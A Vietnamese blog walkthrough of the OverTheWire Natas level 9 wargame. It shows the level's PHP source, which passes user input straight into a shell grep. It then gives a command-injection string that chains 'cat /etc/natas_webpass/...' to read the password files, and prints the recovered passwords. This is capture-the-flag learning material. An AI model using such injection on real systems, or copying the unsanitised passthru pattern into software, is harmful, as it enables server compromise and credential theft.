Featured Content Slider

Home » » overthewire.org NATAS9

overthewire.org NATAS9

Vo Uu | 10:15 | 0 nhận xét
Access granted. The password for natas9 is W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl

URL: http://natas9.natas.labs.overthewire.org/index.php
Source: http://natas9.natas.labs.overthewire.org/index-source.html
<html>
<head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head>
<body>
<h1>natas9</h1>
<div id="content">
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>


Output:
<pre>
<?
$key 
"";

if(
array_key_exists("needle"$_REQUEST)) {
    
$key $_REQUEST["needle"];
}

if(
$key != "") {
    
passthru("grep -i $key dictionary.txt");
}
?></pre>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>


Ta chú ý lệnh: passthru("grep -i $key dictionary.txt");

Ta có thể cat được pass lv9 tại: /etc/natas_webpass/natas9
Tất cả password đều được lưu trữ tại thư mục: /etc/natas_webpass/ với các file natasX (X là level)

Ta có thể ghép nhiều lệnh vào trong passthru, ví dụ: ra query: XgR; cat/etc/natas_webpass/natas9;cat

Sẽ thành: passthru("grep -i XgR; cat /etc/natas_webpass/natas9;cat dictionary.txt");
Nó sẽ thực hiện 3 lệnh: 
- grep -i XgR 
-  cat /etc/natas_webpass/natas9
- cat dictionary.txt

Và kết quả: 
Output:
nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
Với cách này, ta có thể lấy được toàn bộ password của các level
VD: natas10: XgR; cat /etc/natas_webpass/natas10;cat

Nhưng đừng làm thế, vui với học hỏi là chính mà các bạn

Share this article :

0 nhận xét:

Đăng nhận xét

Recent Post

Test Footer 1

 
Support : Creating Website | Johny Template | Mas Template
Copyright © 2011. The UG - All Rights Reserved
Template Modify by Creating Website
Proudly powered by Blogger